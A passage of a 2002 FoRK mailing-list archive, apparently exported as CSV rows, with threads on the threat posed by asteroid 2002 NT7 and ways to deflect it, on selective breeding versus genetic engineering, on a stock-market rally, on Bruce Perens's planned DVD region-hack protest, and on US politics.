suggests that 2002 NT7 is on an impact course = with Earth=20 and could strike the planet on 1 February, 2019 - although the = uncertainties are=20 large.=20 Astronomers have given the object a rating on the so-called Palermo = technical=20 scale of threat of 0.06, making NT7 the first object to be given a = positive=20 value.=20 From its brightness, astronomers estimate it is about two kilometres = wide,=20 large enough to cause continent-wide devastation on Earth.=20 Many observations=20 Although astronomers say the object definitely merits attention, they = expect=20 more observations to show it is not on an Earth-intersecting trajectory. = This asteroid has now become the most = threatening=20 object in the short history of asteroid detection Dr Benny Peiser = It was first=20 seen on the night of 5 July, picked up by the Linear Observatory's = automated sky=20 survey programme in New Mexico, US.=20 Since then astronomers worldwide have been paying close attention to = it,=20 amassing almost 200 observations in a few weeks.=20 Could it be = deflected?=20 Dr Benny Peiser, of Liverpool John Moores University in the UK, told = BBC News=20 Online that ""this asteroid has now become the most threatening object in = the=20 short history of asteroid detection"".=20 NT7 circles the Sun every 837 days and travels in a tilted orbit from = about=20 the distance of Mars to just within the Earth's orbit.=20 Potential devastation=20 Detailed calculations of NT7's orbit suggest many occasions when its=20 projected path through space intersects the Earth's orbit.=20 Researchers estimate that on 1 February, 2019, its impact velocity on = the=20 Earth would be 28 km a second - enough to wipe out a continent and cause = global=20 climate changes.=20 However, Dr Peiser was keen to point out that future observations = could=20 change the situation.=20 He said: ""This unique event should not diminish the fact that = additional=20 observations in coming weeks will almost certainly - we hope - eliminate = the=20 current threat.""=20 Easily observable=20 According to astronomers, NT7 will be easily observable for the next = 18=20 months or so, meaning there is no risk of losing the object.=20 Observations made over that period - and the fact that NT7 is bright = enough=20 that it is bound to show up in old photographs - mean that scientists = will soon=20 have a very precise orbit for the object.=20 Dr Donald Yeomans, of the US space agency's (Nasa) Jet Propulsion = Laboratory=20 in California, told BBC News Online: ""The orbit of this object is rather = highly=20 inclined to the Earth's orbit so it has been missed because until = recently=20 observers were not looking for such objects in that region of space.""=20 Regarding the possibility of an impact, Dr Yeomans said the = uncertainties=20 were large.=20 ""The error in our knowledge of where NT7 will be on 1 February, 2019, = is=20 large, several tens of millions of kilometres,"" he said.=20 Dr Yeomans said the world would have to get used to finding more = objects like=20 NT7 that, on discovery, look threatening, but then become harmless.=20 ""This is because the problem of Near-Earth Objects is now being = properly=20 addressed,"" he said.=20 ------=_NextPart_001_0010_01C23362.3939B510-- ------=_NextPart_000_000F_01C23362.3939B510 Content-Type: image/jpeg; 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http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ","""'Karl Anderson'"" , ","Wed, 24 Jul 2002 15:11:46 -0700",RE: [Baseline] Raising chickens the high-tech way,"My take: if genetic engineering includes selective breeding, then it also includes human pairs that are not randomly grouped. It doesn't matter if those two intend what they are doing, they are engaged in a 'selected sort'. It has been brought up that a boss no longer marries his secretary. Now the female law partner selects another high earning mate (at least associate law). So instead of two couples making $140K a piece (100K + 40K) you have one pair with $200 and one pair with $80 and this has some interesting social effects. And one of those effects is the difference in their children (on average). > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Karl > Anderson > Sent: Wednesday, July 24, 2002 1:15 PM > To: fork@spamassassin.taint.org > Subject: Re: [Baseline] Raising chickens the high-tech way > > Elias Sinderson writes: > > > Sorry, Karl, your confusing things. > > No, it's just a silly discussion, but that's what picky semantic > discussions turn into :) > > > Thos is saying that selective > > breeding should be counted as genetic engineering, whereas you are > > extending his definition to include the attration that your parents > felt... > > Yes, I'm saying that if he extends ""genetic engineering"" to include > selecting animals to breed, he must extend it to include selecting > people to breed with. > > > Unless your parents were selectively bred like livestock to produce you, > > I don't think you can make that case... :-) > > I'm saying that my parents selected each other, and that they did so > because (among other reasons) each wanted the other's genes to be > mixed with their own in the offspring that they were planning. > > What does it matter that they were selecting to produce their own > offspring, rather than the offspring of two unrelated animals? > > -- > Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,,24 Jul 2002 18:19:29 -0400,Re: Asteroids anyone ?,"Instead of spreading BBC FUD, it's best to go straight to the horse's mouth: http://neo.jpl.nasa.gov/risk/2002nt7.html That said, if you do a comparison with the Google cache page, you'll see that the probability of impact has increased significantly given the last three days worth of observations. Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book early, avoid the rush. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Thu, 25 Jul 2002 01:31:26 +0200 (CEST)",Re: [Baseline] Raising chickens the high-tech way,"John Hall spake thusly: >It has been brought up that a boss no longer marries his secretary. Wot, is she not cute??? Re: Asteroids anyone ? Not another one. Hmm... the NASA page gives Impact Probability = 3.9e-06. One in 250000. What, me worry? L8r, R http://xent.com/mailman/listinfo/fork",0,1 ,,"Wed, 24 Jul 2002 16:45:58 -0700 (PDT)",Re: Asteroids anyone ?,"> > Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book > early, avoid the rush. Hey, meybee by then, Bush's grand plan for a missle defense system will actually pan out and -work- ... I'm not holding my breath, but i'm not going to panic for something thats a little under 17 years away, either. -c > > -- > Gary Lawrence Murphy TeleDynamics Communications > Inc Business Innovations Through Open Source Systems: > http://www.teledyn.com ""Computers are useless. They can only give you > answers.""(Pablo Picasso) > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,24 Jul 2002 18:14:31 -0700,Re: Asteroids anyone ?,"On Wed, 2002-07-24 at 16:46, bitbitch@magnesium.net wrote: > > > > Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book > > early, avoid the rush. > > Hey, meybee by then, Bush's grand plan for a missle defense system will > actually pan out and -work- ... > I'm not holding my breath, but i'm not going to panic for something thats > a little under 17 years away, either. I don't think a ballistic missile defense system will be much help against a rock a couple thousand kilometers in diameter. That's WAY outside the design spec for any such system. Particularly when ballistic intercept designs usually don't have any type of warhead associated with them, either being kinetic or directed energy weapons. Contrary to popular belief, ballistic missile defense isn't a hard problem (ignoring whether or not it is useful). The only real challenge is materials science, as it really pushes the envelope of materials performance requirements to places they've never been; there has been some technology crossover with some of the new materials and processes they've had to come up with. The actual discrimination algorithms, while way more advanced than anything you'll see in the private sector (and classified, to keep it that way), are usually run on a crusty old MIPS R3k embedded processor or similar, with a low-to-mid range DSP to help out. It is not computationally intensive by any means. I used to be tangentially involved in various ballistic missile intercept weapon programs many years ago and am pretty familiar with the technologies that go into them. Most of the arguments against it from a technological standpoint are ignorant bullshit, and have lead me to believe that hardly anyone understands the technical parameters of ballistic missile intercept. And the arguments that are made without reference to the capability of the technology are neither particularly convincing nor conclusive. In summary: 1) Ballistic missile intercept technology is useless on a big rock. You are much better off using heavy-lift space technology to deliver a big nuke (or small nuke, depending on your plan). 2) State-of-the-art ballistic missile intercept technology is far more competent than most people imagine it is, and has discrimination capabilities that exceed most popular belief. It better be -- they've had twenty years to work on it. 3) I've never heard a really convincing argument against deploying ballistic missile intercept technology, particularly considering most of the R&D investment has already been made. I don't really care about it one way or the other, but I also don't see why other people have fits over it either. Cheers, -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Wed, 24 Jul 2002 17:06:49 -0700",Re: [Baseline] Raising chickens the high-tech way,"> > Unless your parents were selectively bred like livestock to produce you, > > I don't think you can make that case... :-) > > I'm saying that my parents selected each other, and that they did so > because (among other reasons) each wanted the other's genes to be > mixed with their own in the offspring that they were planning. > > What does it matter that they were selecting to produce their own > offspring, rather than the offspring of two unrelated animals? That doesn't matter. What does matter is that they were going on phenotypes, and didn't engineer the genetics. That example makes a good case for natural selection, but not for artificial. (do ""married people live longer"" because of the benefits of matrimony, or because acceptable health is one of the qualities selected for in spouses?) Of course, if there are FoRKs with six or fewer biological great grandparents (or who are offspring of Wilt) I should eat my words; otherwise, the micro/macro distinction seems much more relevant. -Dave > I guess that the reason that I disagree is that some groups arguing > against any checks on genetic engineering use that same argument - > ""we've been doing it since prehistory, so we don't need to apply any > caution today"". One can also view that argument as a case for checks: livestock owners have, over a period of millenia, altered the genetics of their herds to be dumber, meatier, and more tolerant of industrial living, so if caution is in order, they are some of the least likely people to volunteer it. http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,24 Jul 2002 18:21:54 -0700,Re: Asteroids anyone ?,"On Wed, 2002-07-24 at 18:14, James Rogers wrote: > I don't think a ballistic missile defense system will be much help > against a rock a couple thousand kilometers in diameter. Errrr... Or a couple thousand *meters* in diameter either. -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Thu, 25 Jul 2002 02:57:59 +0200 (CEST)",Re: Asteroids anyone ?,"James Rogers wrote: >I don't think a ballistic missile defense system will be much help >against a rock a couple thousand kilometers in diameter. That would destroy Earth completely! The one in question is 2.06 km (1.28 miles) in diameter. R http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Wed, 24 Jul 2002 18:33:23 -0700",Re: Asteroids anyone ?,"With enough warning, you might not even care about trying to divert the meteor -- you'd divert the Earth instead. I recall reading many years ago about calculations, done separately both by US and USSR scientists for different reasons, about the effect of nuclear explosions on the moon's mass, and thus its orbit, and thus also (over time) the Earth's path around the sun. I believe the conclusion was that mild changes in the moon's composition would have the effect, over several years, of changing significantly where the Earth would be at any certain future point. Voila! No collision -- at least not with the initial threat. And no need to travel out to anywhere near the meteor, either. Just the moon. - Gordon http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,,24 Jul 2002 21:57:12 -0400,Re: Asteroids anyone ?,">>>>> ""G"" == Gordon Mohr writes: G> Voila! No collision -- at least not with the initial G> threat. And no need to travel out to anywhere near the meteor, G> either. Just the moon. Yeah, right. Considering the Genesis project just won an award for figuring out (surprise, surprise) that N-body problems with 10+ bodies yield some interesting synergetic surprises ... suffice it to say that the issue has been hashed over in sci.astro many, many times, since even long before Hollywood posed the problem, and the very best advice is still ""duck and cover""; if you are still going to nudge anything, though, I'd nudge the rock (the one the size of a small town) as you're less likely to re-define global agriculture that way. 'Course, you're gonna have this problem of distributing the force over a large enough surface area that it translates into a resillient compression wave instead of a knifeblade/diamond faultline split. It's also not a game of billiards, but a 6+ dimensional collision problem (space, time, spin, temp, maybe electromag too if there's any heavy metals in it, and there often is) complete with relativistic effects and everything. Hands up all those with experience subjecting blackboxed alien geology to sustained forces in excess of 100 megatons (10% of it's own momentum). I'm going to trust the US Army with this when they can't even /find/ more than a few hundred Al Queda in a desert? Oh, another problem: It's not the only rock out there. We're just getting better at spotting them. Tell ya what: when you cowboys do get ready to bally-hootin' out to blow-er-up-real-good, you let me know, eh, so I can move the the next solar system before you do. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork ,24 Jul 2002 22:15:53 -0400,Ah ... so they ARE coming for your porn next ...,"http://www.cnn.com/2002/US/07/23/binladen.internet/index.html ... CNN reported earlier this year that al Qaeda has used at least one Web site to post information and keeps changing the site's address to stay ahead of investigators. Authorities also are investigating information from detainees that suggests al Qaeda members -- and possibly even bin Laden -- are hiding messages inside photographic files on pornographic Web sites. Any wagers that this heralds the appearance of a bill to ban and/or harrass any sites which may be host to suspected-AlQaeda messages? And what about Emenem records played backwards? -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 grlygrl201@aol.com,kra@monkey.org,"Thu, 25 Jul 2002 00:06:41 -0400",Re: [Baseline] Raising chickens the high-tech way,"In a message dated Wed, 24 Jul 2002 1:51:48 PM Eastern Standard Time, kra@monkey.org writes: > > I guess that the reason that I disagree is that some groups arguing > against any checks on genetic engineering use that same argument - > ""we've been doing it since prehistory, so we don't need to apply any > caution today"". > That the process of engineering is a natural, human inclination is what history proves; that humans don't learn from history is what natural, unimpeded inclinations prove. geege > -- > Karl Anderson kra@monkey.org > http://www.monkey.org/~kra/ > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,,"Thu, 25 Jul 2002 08:26:38 +0200 (CEST)",Re: Asteroids anyone ?,"On Wed, 24 Jul 2002 bitbitch@magnesium.net wrote: > Hey, meybee by then, Bush's grand plan for a missle defense system will > actually pan out and -work- ... Hey, that thing is 2 km across and 28 km/s fast. There's nothing you can do just before the impact with a system that was designed to deal with tiny ballistic missiles, and largely by damaging them, not destroying them. Apart from twiddling with the surface albedo which might be not enough -- we currently don't have ion drives with enough power, or at least we can't develop and deploy them on time, so that only leaves you with nukes. Assymetrical repeated flash-evaporation (anything closer would risk fragmenting it) on rocks of unknown composition (could be a pile of rubble for all what we know) has never been tried yet, though. > I'm not holding my breath, but i'm not going to panic for something thats > a little under 17 years away, either. It is much more interesting whether you can kill enough of delta v for a capture. But here trying to brake a smaller object (say, few 100 m across) with final stage aerobraking would be far more useful. Otoh, one could as well could invest that effort into a launch capacity on the Moon. http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List ,","Thu, 25 Jul 2002 02:45:45 -0400",Buy? (was Re: It's back? Triple-digit Dow gains at 2PM...),"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A bull market climbs a wall of worry -- on record volume. Yeah, I know, it's different this time. Pay no attention to the bear behind the curtain, and all that. However, at the end of the *last* bear market, in 1983 -- yup, that long ago -- Granville sell-orders caused bloodbaths with boring regularity, a stockholm-syndrome economy had recently been delivered of Keynesian monetary apparatchiks at the Fed and elsewhere, and Henry ""Dr. Doom"" Kauffman opined offhand that interest rates *might* come down finally... and pop! went the market, sending the NYSE volume through the roof. (Record volume then was around a hundred mill. Yesterday, ladies and germs, it was upward of 2 point something *billion* shares).. Back then, I was a mail-cart-pushing, key-punching ""administration"" clerk at Morgan Stanley in Chicago, chief scrounge for a bunch of Masters of the Universe, and everybody at Morgan thought the resulting price-pop was just a technical rally and wouldn't last either. :-). Six months later, people *still* said it wouldn't last, and a girlfriend's uncle was saying that it was too late, he'd missed the train, so he was going to stay out 'till the market came back down a bit. By that time, the Dow was at, what, 1600? I wonder if he's still out, waiting... A 40% decline is a big chunk of change, boys and girls, even if it's 40% of a bubble. Actually, by my count, it's 100% of the bubble, but that's just me. After all, Amazon and EBay's P/Es still need a pressurized cabin to breathe in. So, yes, the market may go lower, but not much more, relatively speaking. At some point, and fairly soon, I bet, someone's going to realize that, even though you wouldn't want to actually trade one for a house, tulips are still nice things to have around. Hint: Interest rates are rediculuously low, they aren't going up any time soon, and, if we can survive the election, the recently-started CEO witch-hunt won't be too much more than Street theater, probably not resulting in much in the way of regulation or legislation. The threat of which, frankly, probably caused this recent explosive decompression in the first place. Your tax dollars at work, if you will. So, in light of the erstwhile bloodbath on Capital Hill, and the real one we just saw a few days ago in the market, it may be time for people to remember what Mr. Rothschild said, and buy now while there's blood in the streets. As to whether the accounting is ""rigged"", remember what Robert Heinlein said: ""Who cares if the game is rigged? You can't win if you don't play."" Cheers, RAH The aforementioned girlfriend, by the way, traded *me* in for an actual Rothschild in 1984, after I insisted on going back to school and talking my way into the back door at the University of Chicago to boot. The cost of anything being the foregone alternative, it sometimes seems to me I'm *still* paying for that detour, but that's a bear of a different color, and it's okay as long as I don't look behind the curtain, right? :-). - --- begin forwarded text From: Somebody Else To: ""R. A. Hettinga"" Subject: Re: It's back? Triple-digit Dow gains at 2PM... Date: Wed, 24 Jul 2002 21:44:19 -0600 Bob, So. Let's see. The market's all the way back up to... what? Last Friday's close? Iiiiirrraaational iinnndeed. - ----- Original Message ----- From: ""R. A. Hettinga"" To: ""Digital Bearer Settlement List"" Sent: Wednesday, July 24, 2002 2:02 PM Subject: RE: It's back? Triple-digit Dow gains at 2PM... > At 2:55 PM -0400 on 7/24/02, Somebody wrote: > > > > The market doesn't close for two hours. > > The market just closed. Up 496.63, 6.45%, at 8198.9697. > > :-). > > You never catch the upticks if you don't stay in the market... > > Cheers, > RAH > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its usefulness and > antiquity, [predicting the end of the world] has not been found > agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of the Roman > Empire' > - --- end forwarded text -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPT+eg8PxH8jf3ohaEQJaJACferw1H2dZWXUEkFKdJ3bVpSJ5QnQAoPoD +oIb0wFbSjKC4hdc/DSjPkvj =pRCH -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 kragen@pobox.com (Kragen Sitaker),fork@spamassassin.taint.org,"Thu, 25 Jul 2002 04:56:39 -0400 (EDT)",Re: Asteroids anyone ?,"Eugen Leitl writes: > Apart from twiddling with the surface albedo which might be not > enough -- we currently don't have ion drives with enough power, or at > least we can't develop and deploy them on time, My estimate is that, in the worst case, we have 17 years (5.4e8 seconds) to move it one earth radius, or about 6000 km (6e6 m). a t^2/2 = x, if I remember right, so a = 2x/t^2, which is 1.2e7 m/(2.9e17 s^2), or about 4.1e-11 m/s^2, which is not a very large acceleration, roughly equivalent to the gravitational acceleration in these parts divided by 200000000000. Assuming a 2km-wide --- that is, 20 000 decimeter-wide --- spherical asteroid of specific gravity 10, 4/3 pi r^3 says it would have a volume of 4e12 cubic decimeters and thus a mass of 4e13 kg. The force we'd have to apply to achieve this acceleration would be roughly equivalent to the weight of 200 kg here on Earth. So, yeah, ion drives are probably a no-go, unless I screwed up the calculations here; I think the force they typically exert is about four orders of magnitude too small. If we just wanted to hit today it with enough of an impulse that it would miss us 17 years later, we'd need to accelerate it by about 1.1 cm/s. A one-ton (1000kg) mass would need to hit it at about 4e9 m/s, or about ten times the speed of light, to achieve this, so that's not possible. (If you could actually put enough work into a one-ton mass, as it approached the speed of light, it would mass more, so you could still do it with a one-ton mass; but we don't have anything approaching that speed.) The impulse required is inversely proportional to the remaining time to impact, so if we were to hit it after half the time has elapsed, we'd need to accelerate it by around 2.2 cm/s instead. The gravitational force of an Earth-sized mass could provide sufficient deflection if that mass were about 4.5e5 times as far away from the asteroid as we are from Earth's center, or about 2.7e9 m, or about 0.018 times the distance from the Earth to the Sun (0.018 AU). (And if that mass stayed so nearby for 17 years.) The effects of continuous acceleration benefit greatly from planning ahead, since they scale with t^2, not t --- and thus the needed acceleration scales with 1/t^2. After half the time has elapsed, we'd need four times as much acceleration to make it miss the Earth than if we were to start accelerating it now. All of these numbers are a little low, because the Earth presents a slightly easier target than its physical size suggests, due to its gravity well. How much easier depends on the speed of the projectile in ways I don't understand. They're also a little high, because they assume the force is being applied purely at right angles to the asteroid's current path, which is a slightly suboptimal scenario (although for velocity changes five orders of magnitude smaller than the relative velocity, the difference is probably insignificant.) And they assume there are no other effects on the asteroid's path. What about electrical charges? Could we electrically charge the asteroid and another nearby asteroid, perhaps with electron beams, to provide the needed acceleration? Of course, all of this calculation could be applied in the other direction, too. If you want to sock a moon colony with a one-ton asteroid, you could do it with a tiny amount of force applied over twenty-five years to adjust its orbit. *** About spam: I'm sorry to admit I haven't implemented any of the better solutions, and so I'm afraid I'll have to allow non-subscriber FoRK mail to be detained for scanning. I hope this measure can be reversed soon when I have time to implement better measures. As has often been noted by other posters, measures to reduce spam sent to the FoRK list will not significantly decrease the spam load of FoRKposters, since the vast majority of spam received by FoRKposters is sent to them directly, not through the FoRK list. -- Kragen Sitaker Silence may not be golden, but at least it's quiet. Don't speak unless you can improve the silence. I have often regretted my speech, never my silence. -- ancient philosopher Syrus (?) via Adam Rifkin, http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""R. A. Hettinga"" ","Thu, 25 Jul 2002 11:02:29 +0200 (CEST)",Re: Buy? (was Re: It's back? Triple-digit Dow gains at 2PM...),"On Thu, 25 Jul 2002, R. A. Hettinga wrote: > So, in light of the erstwhile bloodbath on Capital Hill, and the real > one we just saw a few days ago in the market, it may be time for > people to remember what Mr. Rothschild said, and buy now while > there's blood in the streets. Luckily, I'm in no such predilection as technolumpen. However, the signs do seem to head for a much deeper crapper than the one we're currently in, and this has relevance to those switching jobs, or those just entering the job market. Nano/bio startups are all screwed up, alas. It's too early to wait for the radioactive glass to cool down while the nukes are still going off, imo. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork ,25 Jul 2002 10:30:52 -0400,"At last, a real DRM hero","Remember when I said that taking an afternoon off to march for Dmitri was pissing in the wind and that to be really effective we needed people willing to publically break the stupid laws right in the face of the authorities? Well it seems Bruce Perens agrees with me, only he's going one better, instead of just mouthing off about it, he's going to do it and do it in a big way ... Open source campaigner to risk jail By James Middleton [24-07-2002] Bruce Perens plans live DVD hack With the dust from the Elcomsoft/Sklyarov case still thick in the air, influential open source activist Bruce Perens plans to go one better by breaking the Digital Millennium Copyright Act (DCMA) during a live presentation on Friday. Fresh from giving RealNetworks a slating for not completely backing open source with its latest announcement, Perens said that during a Digital Rights Management presentation to be held Friday at the O'Reilly developer conference in San Diego, he would break the law. The DMCA has been a sore point in the open source community since the outlawing of DeCSS, a tool created so that DVDs could be played on Linux machines, and more recently since the arrest of Dmitry Sklyarov and the criminal charges faced by his employer, Elcomsoft. Based on the recent history of DMCA contravention, Perens could face imprisonment or a $500,000 fine for his actions. According to Infoworld the demonstration is to be carried out in protest at the regional system used by the motion picture industry to prevent DVDs released in one country being played on machines in another country. During his presentation, Perens will demonstrate how to hack a DVD player so that it can play movies from any region. ""It is a political and social statement, and the statement is that the people do not need to have a hall monitor living in their stereo system and should be able to play any kind of media on the device they wish,"" he was quoted as saying. But luck may be on his side, if last year is anything to go by. At the same conference in 2001 Perens made a presentation on the triviality of Digital Rights Management systems using exactly the same slides that got Sklyarov arrested. http://www.vnunet.com/News/1133862 -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Thu, 25 Jul 2002 12:47:53 -0700",(correction) Re: [Baseline] Raising chickens the high-tech way,"> (or who are offspring of Wilt) My bad. Wilt, even if he had media exposure that major studs only dream about, was just another example of natural selection, and doesn't even come close to livestock potency. 1) I rather doubt that most of his 20,000 women bothered to check the rebounding records of his cousins and uncles and whatnot (how old is basketball, in generations?) and compared them with their own kin's. 2) Let's give Mr. Chamberlain the benefit of the doubt and suppose he sired twins with each mate. 40,000 lifetime production compares poorly with a holstein bull. -Dave > Teat size and placement are always ideal which suggests that INCOME > daughters are the perfect kind for robot milkers. http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",Tom ,"Thu, 25 Jul 2002 14:35:42 -0700 (PDT)",Re: USA USA WE ARE NUMBER ....six.,"On Wed, 24 Jul 2002, Tom wrote: > ""Around the world, there is a growing sense that democracy has not > delivered development"" Sakiko Fukuda-Parr UN report author Or perhaps it is the unregulated and out of control capitalism used as a tool to concentrate wealth and form a greed-based society? I notice the top 5 have a good amount of socialism in their systems to regulate the capitalism, especially in things like health care and education. Just look at our health care - no insurance = no care. Or education - gimme my voucher so I can get my kids out of the system while their IQ is still over 20. South American countries are currently figuring out just where this greed-based system ends up, and are looking for a way out. It was a fun ride tho wasnt it? - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 chris arkenberg ,"""Adam L. Beberg"" , Tom ","Thu, 25 Jul 2002 15:13:57 -0700",Re: USA USA WE ARE NUMBER ....six.,"Cheers, Adam. Perhaps people are starting to notice how profit motive drains the meaning out of their lives. Kinda sucks to be an ant farming for the corporate lords. Funny how most of the rest of the world is more and more apprehensive towards American Democracy. I just went to DC for the first time. I was awestruck by the monuments, the words of Thomas Jefferson, the Spirit of Democracy set in stone. Amazing to think that in little more than 200 years our government could be so far removed from those honorable principles. Adam Smith presumed that the marketplace would regulate itself through morality, good faith, and responsibility. Corporate America seems to feel that those principles stand in the way of making the real bucks. How much more can they co-opt and commodify? Get your copyrights in quick so you can hold on to your piece of the pie. Health care, public programs, pensions, social security - these are now regarded as worthless unless they can turn a profit. Ah, socialized medicine. Siestas. 6 week vacation leave. I hear Spain is nice this time of year... At 2:35 PM -0700 7/25/02, Adam L. Beberg wrote: >On Wed, 24 Jul 2002, Tom wrote: > >> ""Around the world, there is a growing sense that democracy has not >> delivered development"" Sakiko Fukuda-Parr UN report author > >Or perhaps it is the unregulated and out of control capitalism used as a >tool to concentrate wealth and form a greed-based society? > >I notice the top 5 have a good amount of socialism in their systems to >regulate the capitalism, especially in things like health care and >education. > >Just look at our health care - no insurance = no care. Or education - gimme >my voucher so I can get my kids out of the system while their IQ is still >over 20. > >South American countries are currently figuring out just where this >greed-based system ends up, and are looking for a way out. > >It was a fun ride tho wasnt it? > >- Adam L. ""Duncan"" Beberg > http://www.mithral.com/~beberg/ > beberg@mithral.com > > >http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",chris arkenberg ,"Thu, 25 Jul 2002 15:27:36 -0700",Re: USA USA WE ARE NUMBER ....six.,"chris arkenberg wrote: > Cheers, Adam. > > Perhaps people are starting to notice how profit motive drains the > meaning out of their lives. And, having realized that, a lot of them are now having babies. I can't believe the number of friends at work who are now pregnant or have already just had their babies. - Joe P.S. Who said that the US was required to be number 1 at all times??? What's so bad about 6? -- Left behind the bars Rows of Bishops' heads in jars And a bomb inside a car Spectacular, spectacular http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""Joseph S. Barrera III"" ","Thu, 25 Jul 2002 15:58:23 -0700",RE: USA USA WE ARE NUMBER ....six.,"> chris arkenberg wrote: > > Cheers, Adam. > > > > Perhaps people are starting to notice how profit motive drains the > > meaning out of their lives. > > And, having realized that, a lot of them are now having babies. > I can't believe the number of friends at work who are now pregnant > or have already just had their babies. .boom? - Jim http://xent.com/mailman/listinfo/fork",0,1 """Jon O."" ",bitbitch@magnesium.net,"Thu, 25 Jul 2002 15:48:46 -0700",Re: Asteroids anyone ?,"Has anyone considered the fact that these occurrances appear to be increasing. I'm aware that maybe more publicity surrounding some and certain agencies have been granted more funding, but I'd like to see some data which shows if these are increasing or not. Why? Well, it seems to me if we were going to get hit, the one that does it may have been part of a larger swarm or cluster which has over the years increased the distance between the rocks. Like the Schumaker Levy-9, which had multiple rocks all impacting at different times, others may have this same type of design and could be in different stages of increasing distance from one another. Also to consider is if SL-9 was on course for earth, would we get hit by all rocks or only one because the earth is a much smaller target than Jupiter? So, my theory is that if these near earth rocks are increasing so does our chance of discovering the last three were part of a swarm of 15 of which 10, 11 and 12 may hit. On 24-Jul-2002, bitbitch@magnesium.net wrote: > > > > Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book > > early, avoid the rush. > > Hey, meybee by then, Bush's grand plan for a missle defense system will > actually pan out and -work- ... > I'm not holding my breath, but i'm not going to panic for something thats > a little under 17 years away, either. > -c > > > > > -- > > Gary Lawrence Murphy TeleDynamics Communications > > Inc Business Innovations Through Open Source Systems: > > http://www.teledyn.com ""Computers are useless. They can only give you > > answers.""(Pablo Picasso) > > > > http://xent.com/mailman/listinfo/fork > > > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 Tom ,"""Joseph S. Barrera III"" ","Thu, 25 Jul 2002 19:46:26 -0400 (EDT)",Re: USA USA WE ARE NUMBER ....six.,"On Thu, 25 Jul 2002, Joseph S. Barrera III wrote: --]And, having realized that, a lot of them are now having babies. --]I can't believe the number of friends at work who are now pregnant --]or have already just had their babies. We hope that in the next generation we can bring back what we once thought of as our future, or more aptly thier future will be a shade better than what ours is turning out to be. I cant help but appologise to my wifes bulging middle in these last few dyas of the pregancy. I wanted so much more for him. My daughter and I talk about this in the ways an 8 year old can with a 39 year old. She realizes things are not all they could have been, but shes sort of ready for the challange. She told me the other day she would get to the moon if I dont. Gota love kids, they say the coolest things at just the right times. As for profit and the drive towars it...moeny is simply a tool,simply one way of many to facilitate living the life you want. Too many have taken the tool for the goal, the race for the prize and the notion that first is all. Yea yea, this sad burlesque. -tom http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Thu, 25 Jul 2002 19:56:46 -0400 (EDT)",Wear Sunscreen,"""Yes, and Eliza and I composed a precocious critique of the Constitution of the United States of America, too. We argued that it was as good a scheme for misery as any, since its success in keeping the common people reasonably happy and proud depended on the strength of the people themselves - and yet it described no practical machinery which would tend to make the people, as opposed to their elected representatives, strong. We said it was possible that the framers of the Constitution were blind to the beauty of persons who were without great wealth or powerful friends or public office, but who were nonetheless genuinely strong. We thought it was more likely, though, that the framers had not noticed that it was natural, and therefore almost inevitable, that human beings in extraordinary and enduring situations should think of themselves as composing new families. Eliza and I pointed out that this happened no less in democracies than in tyrannies, since human beings were the same the wide world over, and civilized only yesterday. Elected representatives, hence, could be expected to become members of the famous and powerful family of elected representatives - which would, perfectly naturally, make them wary and squeamish and 